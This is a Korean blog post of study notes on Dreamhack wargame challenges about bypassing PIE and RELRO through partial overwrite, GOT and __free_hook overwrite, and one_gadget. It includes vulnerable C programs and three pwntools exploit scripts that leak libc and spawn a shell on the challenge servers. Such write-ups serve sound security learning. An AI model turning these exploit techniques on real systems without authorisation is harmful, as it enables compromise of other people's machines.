[드림핵-시스템]Bypass PIE & RELRO

스근한국밥한그릇·2025년 1월 11일
0

SYSTEM

목록 보기
12/15

1. PIC

  • Position-Independent Code
    • 메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않음을 의미
  • ELF는 실행파일, 공유 오브젝트 2가지가 존재한다.
  1. 공유 오브젝트 : libc.so 와 같은 라이브러리
    • 기본적으로 재배치가 가능하도록 설계됨
  2. PIC 적용 X : 절대주소 참조
  3. PIC 적용 O : 상대주소 참조

2. PIE

  • Position-Independent Executable
    • 무작위 주소에 매핑되어도 실행 가능한 실행 파일을 의미
    • ASLR도입으로 실행 파일도 무작위 주소에 매핑될 수 있게 하려했지만 파일 형식 변경시 호환성 문제가 발생함 -> 원래 재배치가 가능했던 공유 오브젝트를 실행 파일로 사용하기로 함

2-1 PIE on ASLR

  • PIE 재배치 가능 : ASLR 적용된 시스템에서는 실행 파일도 무작위 주소에 적재됨 -> PIE 적용시 main 매 실행마다 바뀜
    • 적용되지 않은 시스템 : PIE 적용된 바이너리라도 무작위 주소에 적재되지 않는다.

2-2 PIE 우회

  1. 코드 베이스 구하기
    • 무작위 주소에 매핑되므로 코드 영역의 가젯 / 데이터 영역에 접근 위해서는 바이너리가 적재된 주소 알아야함 이 주소를 PIE 베이스, 코드 베이스라고 부름
    • 코드 베이스 계산 : 코드 영역의 임의주소 읽고 그 주소에서 오프셋 빼야함(ROP)와 유사
  2. Partial Overwrite
    • 코드 베이스 구하기 어려운 경우 반환 주소의 일부 바이트만 덮는 공격 고려해 볼 수 있다.
    • ASLR 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 반 바이트만 다르다면, 이 값만 덮어서 원하는 코드 실행이 가능
      • 그러나 2bytes 이상이 다른 주소로 실행 흐름을 옮기고자 한다면, ASLR로 뒤섞이는 주소 맞춰야하므로 브루트 포싱이 필요 - 공격 확률에 따라 성공

3. RELRO

  • RELocationRead-Only : 데이터 세그먼트 보호기법
    • 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한 제거
    • Lazy Binding : 함수가 처음 호출될 때 함수의 주소를 구하고, 이를 GOT에 적는 행위 - GOT에 쓰기 권한이 있어야함

3-1 RELRO 우회

  1. Partial RELRO
    • .init_array, .final_array, .got 영역에는 쓰기 권한 제거
    • .got.plt 영역에 대한 쓰기 권한 존재 : GOT Overwrite 공격 활용가능
  2. Full RELRO
    • 위의 언급된 모든 영역에 쓰기 권한 제거
    • 라이브러리에 위치한 hook 쓰기 가능 (malloc_hook, free_hook...등)
      • 동적 메모리의 할당, 해제 과정에서 발생하는 버그 디버깅 쉽게 하려고 만들어짐
    • Hook Overwrite
      • 함수 시작 부분에서 __malloc_hook 존재하는지 검사, 존재하면 호출
      • _malloc_hook : libc.so에서 쓰기 가능한 영역에 위치
      • 공격자 : libc 매핑된 주소 알 때, 이 변수 조작하고 malloc 호출해 실행 흐름 조작 가능

hooking

  • 운영체제가 어떤 코드 실행하려 할때, 이를 낚아채어 다른 코드가 실행되게 하는것, 실행되는 코드 : Hook
  • malloc, free에 훅 설치시 소프트웨어에서 할당, 해제하는 메모리 모니터링 가능

Hook Overwrite

  • 훅의 특징 이용한 공격 기법
  • Glibc 2.33 이하 버전에서 libc 데이터 영역에는 malloc(), free() 호출시 HOOK 함수 포인터 형태로 존재
  • Full RELRO 적용되더라도 libc 데이터 영역에는 쓰기 가능하므로 FULL RELRO 우회하는 기법이기도 함

one_gadget

  • libc 내에 존재하는 가젯
  • 기존에는 셸 실행하려면 여러개 가젯 조합해 ROP chain 구성
    • 원가젯은 단일 가젯만으로도 실행 가능
Apt install ruby
Gem install one_gadget

4. fho

4-1 code 분석

  • checksec fho

  • Full RELRO 이므로 Hook Overwrite 가 가능하다면 시도해 볼 것
  • fho.c

  1. bof 가능
    • canary leak
  2. addr 포인터에 주소 지정가능
    • free Hook 주소
  3. value값에 system() payload 삽입
  4. 마지막 scanf에는 "/bin/sh"를 함으로써 Hooking 작업
  • fho.py
from pwn import *

binary = './fho'
p = remote('host1.dreamhack.games',15343)
e = ELF(binary)
libc = ELF('libc-2.27.so')

# [1] Leak libc base
buf = 'A' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_xx - (libc.sym['__libc_start_main'] + 231)
#libc_base = libc_start_main_xx - libc.libc_start_main_return

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))


#encode(encoding='UTF-8'), default = UTF-8
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())

p.recvuntil('To free: ')
p.sendline(str(binsh).encode())

p.interactive()
  1. __libc_start_main + 231 : 실제 서버에서 사용하는 libc 버젼이 다르기 때문

5. oneshot

5-1 code 분석

  • oneshot.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}
  1. Partial RELRO
  2. Bof 가능
  3. payload 작성시 size_t check > 0 이 되면 안된다는 것을 명심

5-2 exploit code

from pwn import *

p = remote('host1.dreamhack.games', 18201)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
stdout_offset = libc.sym['_IO_2_1_stdout_']

lb = stdout - stdout_offset
og = lb + 0x45216

payload = b'A'*0x18 + b'\x00' * 8 + b'B' * 8 + p64(og)
p.sendafter("MSG: ", payload)
p.interactive()
  1. 원가젯 통해서 Exploit 코드 작성 (Ret 부분에 og 삽입)
  2. check 변수는 0보다 크면 안되기 때문에 0으로 설정

6. hook

  • hook.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}
  1. FULL RELRO이므로 hook overwrite 시도
  2. 사이즈 bof 가능하도록 충분히 큰값 설정가능
  3. hooking 위해 free hook 주소와, one_gadget payload 작성

6-2 exploit code

from pwn import *

p = remote('host1.dreamhack.games', 13475)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')

p.recvuntil('stdout: ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.sym['_IO_2_1_stdout_']

free_hook = lb + libc.sym['__free_hook']
p.sendlineafter("Size: ", b"400")

og = lb + 0x4527a

payload = p64(free_hook) + p64(og)
p.sendlineafter("Data: ", payload)

p.interactive()
profile
항상 든든하게 코딩 한그릇🧑‍💻🍚

0개의 댓글